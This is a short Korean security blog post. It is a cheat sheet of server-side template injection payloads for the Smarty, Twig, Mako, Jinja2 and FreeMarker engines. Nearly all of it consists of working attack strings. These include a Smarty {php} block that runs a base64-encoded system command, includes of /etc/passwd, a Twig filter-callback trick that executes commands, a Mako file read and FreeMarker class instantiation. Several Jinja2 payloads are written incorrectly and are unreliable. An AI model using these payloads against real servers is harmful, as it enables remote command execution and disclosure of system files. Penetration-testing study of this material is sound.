보안 공부/Web 보안

Server-side Template Injection(SSTI) template 별 점검 방법

H.J.World 2024. 1. 20. 10:10
728x90
반응형

Template 별 점검 방법

* Smarty (unsecured) - PHP


- 기본 Injection 확인 구문
 >> {5*5} //연산   결과 : 25
 >> a{*comment*}b //주석   결과 : ab

- PHP 코드를 사용하는 구문

{php}$d="bHM=";system(base64_decode(str_pad(strtr($d,'-_','+/'), strlen($d)%4,'=',STR_PAD_RIGHT)));{/php}
 >> ls 명령어를 base64로 인코딩하여 명령어 실행
 
- Smarty 문법 구문
 >> {include file = '/etc/passwd'}
 >> {include_php file='/etc/passwd'}
 
 

* Twig(<=1.19버전) - PHP


- 기본 Injection 확인 구문
 >> {{5*5}} // 연산  결과 : 25
 >> {{5*"5"}} // 연산  결과 : 25
 
- Twig 문법 구문

 >> {{"ab\n"|nl2br}} // 개행 치환 함수  결과 : ab<br />
 >> {{%+set+name="value"+%}{{+name+}  결과 : value
 >> {{_self.templateName}  결과 : 사용중인 template 이름
 >> {{_self.env.registerUndefinedFilterCallback ("exec")}}{{_self.env.getFilter("명령어")}}  결과 : 명령어 실행
 


* Mako - Python


 >> ${5*5} // 연산  결과 : 25
 >> ${"a".join("bc")}
 
 >> <%25%0af+=open("test.txt",+'r')%0aline=f.readline()%0a%25>${line}  // 결과 : 파일 읽고 출력
  * <% %> 안에 파이썬 코드 삽입 가능, 단 개행(%0a), 탭(%09) 문자 사용해서 문법 준수
  
  
* Jinja2 - Python


 >> {{(8*8*8)}} // 연산
 >> {{(8*'8')}} // 연속 문자  결과 : 8888888
 
 >> {{"./class_._base_.__subclass__()}}  결과 : 사용가능한 class 나열
 >> {{"./class_._base_}}  결과 : 사용가능한 class 나열
>> {{"./class_._base_.__subclass__()[407].__dict__}}  결과 : 407번째 있는 서브클래스에서 사용하는 속성을 출력
 >> POC는 더찾자..
 


* Freemaker - JAVA

 >> ${8*8}
 >> #{8*8}
 >> ${12}<#--15-->${34}  //주석  결과 : 1234
 
 >> <#assign ex="클래스"?new()>${실행} //내부 클래스 기능 사용
 >> POC는 더찾자..

728x90
반응형